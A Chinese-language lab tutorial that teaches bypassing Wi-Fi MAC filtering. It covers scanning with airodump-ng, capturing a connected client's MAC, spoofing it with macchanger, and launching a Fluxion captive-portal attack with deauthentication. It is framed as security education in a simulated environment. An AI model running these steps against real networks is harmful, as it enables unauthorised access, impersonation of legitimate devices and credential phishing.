攻击中绕过 MAC 地址过滤

Beginner
立即练习

引言

MAC (Media Access Control) 地址过滤是一种网络安全措施,通过该措施,路由器或接入点 (AP) 被配置为仅接受来自具有特定、预先批准的 MAC 地址的设备的流量。虽然它可以阻止随意入侵者,但这种安全层可以通过一种称为 MAC 欺骗 (MAC spoofing) 的技术来绕过。

在本实验中,你将学习绕过 MAC 地址过滤的端到端过程。你将首先识别目标网络,找到一个已授权客户端的 MAC 地址,然后更改你自己的无线适配器的 MAC 地址以冒充该客户端。最后,你将看到这个过程如何允许像 Fluxion 这样的工具成功发起一次原本会被阻止的攻击。本实验仅用于教育目的,以帮助你理解网络漏洞。

识别可能使用 MAC 地址过滤的网络

在此步骤中,你将安装必要的工具并扫描附近的无线网络。任何无线评估的第一步都是侦察。我们需要查看可用的网络并选择一个目标。

首先,让我们更新软件包列表并安装 aircrack-ng 套件,其中包含我们扫描所需的工具。

sudo apt-get update
sudo apt-get install -y aircrack-ng

接下来,你需要将无线适配器置于“监控模式”(monitor mode)。此模式允许适配器捕获空中所有的 Wi-Fi 流量,而不仅仅是发往它的流量。在此模拟环境中,你的无线适配器名为 wlan0

运行以下命令以启动监控模式:

sudo airmon-ng start wlan0

你应该会看到输出表明监控模式已启用。该命令还将创建一个新的虚拟接口,通常命名为 wlan0mon

PHY     Interface       Driver          Chipset

phy0    wlan0           iwlwifi         Intel Corporation Wireless
        (monitor mode enabled on wlan0mon)

现在,使用 airodump-ng 和新的监控接口 (wlan0mon) 来扫描范围内所有无线网络。

sudo airodump-ng wlan0mon

让扫描运行一分钟。你将看到一个已检测到的接入点列表。在本实验中,我们将假设我们的目标网络 ESSID(网络名称)为 "Target-Net"。看到它后,按 Ctrl+C 停止扫描。

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  Target-Net
 F8:E4:3B:9A:1B:C0  -65        8        0    0   1  54e  WPA2 CCMP   PSK  Other-Net

从此输出中,记下我们 "Target-Net" 的 BSSID00:11:22:33:44:55)和 CH(通道 6)。在下一步中我们将需要这些信息。

使用 'airodump-ng' 查找已连接客户端的 MAC 地址

在此步骤中,你将把扫描聚焦于目标网络,以识别已连接的任何客户端。要绕过 MAC 地址过滤,你需要冒充一个已在“允许列表”中的设备。找到一个已连接客户端的 MAC 地址是关键。

使用你在上一步中识别的 BSSIDchannel,再次运行 airodump-ng。这次,你将添加选项来过滤扫描,使其仅显示关于我们目标网络的信息。这将使输出更清晰,并帮助你更轻松地找到客户端。

00:11:22:33:44:55 替换为你目标网络的 BSSID,将 6 替换为它的通道。

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 wlan0mon

输出将分为两部分。上半部分显示关于接入点 (AP) 的信息,下半部分显示已连接的客户端(站点)。

 CH  6 ][ Elapsed: 25 s ][ 2023-10-27 10:32

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 00:11:22:33:44:55  -32  100       30       20    1   6  54e  WPA2 CCMP   PSK  Target-Net

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 0      0       15

查看 STATION 下方的部分。这是连接到 "Target-Net" AP 的客户端的 MAC 地址。在此示例中,客户端的 MAC 地址是 AA:BB:CC:DD:EE:FF

复制这个 STATION MAC 地址。你将在下一步中使用它来欺骗你自己的 MAC 地址。一旦你获得了地址,就可以按 Ctrl+C 停止扫描。

使用 'macchanger' 将你的适配器 MAC 地址欺骗为客户端的 MAC 地址

在此步骤中,你将把无线适配器的 MAC 地址更改为你从合法客户端捕获的地址。这个过程称为 MAC 地址欺骗 (MAC spoofing)。

首先,你需要安装 macchanger,这是一个用于查看和操作 MAC 地址的简单实用工具。

sudo apt-get install -y macchanger

在更改 MAC 地址之前,你必须停止监控模式接口,并将物理无线接口禁用。

sudo airmon-ng stop wlan0mon
sudo ifconfig wlan0 down

现在,使用 macchanger 设置新的 MAC 地址。使用 -m 选项,后跟你在上一步中记录的客户端 MAC 地址(AA:BB:CC:DD:EE:FF)。

sudo macchanger -m AA:BB:CC:DD:EE:FF wlan0

输出将显示原始(Permanent)MAC 地址,并确认新的、欺骗的 MAC 地址。

Current MAC:   00:0c:29:12:34:56 (unknown)
Permanent MAC: 00:0c:29:12:34:56 (unknown)
New MAC:       AA:BB:CC:DD:EE:FF (unknown)

最后,重新启用无线接口,使更改生效。

sudo ifconfig wlan0 up

你可以通过运行 ifconfig wlan0 并检查 ether 字段来验证 MAC 地址是否已更改。你的适配器现在正在冒充合法客户端。

使用欺骗的 MAC 地址启动 Fluxion 攻击

在此步骤中,你将启动一个名为 Fluxion 的攻击工具。目标是证明,通过你欺骗的 MAC 地址,该工具可以成功地与目标 AP 关联,而如果网络使用 MAC 地址过滤且你使用的是随机的、未经授权的 MAC 地址,这一步将会失败。

首先,你需要从 Fluxion 的官方 GitHub 仓库下载它。

git clone https://www.github.com/FluxionNetwork/fluxion.git

进入新创建的 fluxion 目录。

cd fluxion

现在,使用 sudo 权限启动 Fluxion 脚本。

sudo ./fluxion.sh

Fluxion 是一个交互式脚本。系统会提示你进行几项选择。请按照以下提示操作:

  1. 语言选择: 按 Enter 选择英语(或输入相应的数字)。
  2. 无线适配器选择: Fluxion 会检测你的 wlan0 适配器。输入其数字并按 Enter 来选择它。
  3. 通道选择: 选择扫描网络的选项(例如,“All channels scanner”)。
  4. 目标选择: 扫描后,将出现网络列表。找到 "Target-Net",输入其数字,然后按 Enter
  5. 攻击选择: 选择一种攻击。本次演示,请选择 Captive Portal 攻击。
  6. 握手检查: Fluxion 将检查是否存在有效的握手文件。选择跳过或执行一次 deauthentication 攻击来捕获一个。

此步骤的关键在于观察 Fluxion 是否能够顺利完成这些初始阶段。因为你的 MAC 地址现在已在 AP 的“允许列表”中,Fluxion 与 AP 进行通信和关联的尝试将会成功。

验证攻击是否能通过关联阶段

在最后这个步骤中,你将观察 Fluxion 的输出,以确认 MAC 地址欺骗是否成功。你不需要完成整个攻击;目标只是验证你是否绕过了最初的安全检查。

在 Fluxion 中选择 Captive Portal 攻击后,该工具将开始其过程。你应该在终端中看到指示其正在执行以下操作的消息:

  • 创建一个假的接入点 (AP)。
  • 尝试将客户端从真实 AP 踢出(deauthenticate)。
  • 等待客户端连接到假 AP。

这里的关键观察点是没有出现“关联失败”的错误。如果你在没有欺骗 MAC 地址的情况下尝试运行此攻击,Fluxion 很可能在最开始就会失败,因为目标 AP 会拒绝来自你未经授权的 MAC 地址的任何连接尝试。攻击能够进行到设置假 AP 和踢出客户端的阶段,这证明你已成功绕过了 MAC 地址过滤。

一旦你看到了这些消息并确认攻击正在进行,你就可以在终端中按 Ctrl+C 安全地停止脚本。

作为最后的良好实践,在你完成之后,你应该始终恢复适配器的原始 MAC 地址。

首先,禁用接口:

sudo ifconfig wlan0 down

使用带有 -p(permanent)选项的 macchanger 来恢复原始硬件 MAC 地址。

sudo macchanger -p wlan0

最后,重新启用接口。

sudo ifconfig wlan0 up

你现在已经成功演示了如何绕过 MAC 地址过滤,并通过恢复原始配置完成了清理工作。

总结

在本实验中,你成功学习并执行了绕过 Wi-Fi 网络 MAC 地址过滤的技术。

你首先使用 aircrack-ng 套件扫描网络并识别目标。然后,你使用 airodump-ng 专注于该目标,以查找已授权客户端的 MAC 地址。接着,你使用 macchanger 欺骗了你的无线适配器的 MAC 地址,冒充该客户端。最后,你启动了 Fluxion 工具,并验证了攻击能够通过初始关联阶段,证明 MAC 地址过滤的安全措施已被有效绕过。

这次实践经验展示了网络安全中常见的漏洞,并强调了使用更强的安全措施的重要性,例如带有强密码的 WPA2/WPA3,而不是依赖容易被欺骗的标识符,如 MAC 地址。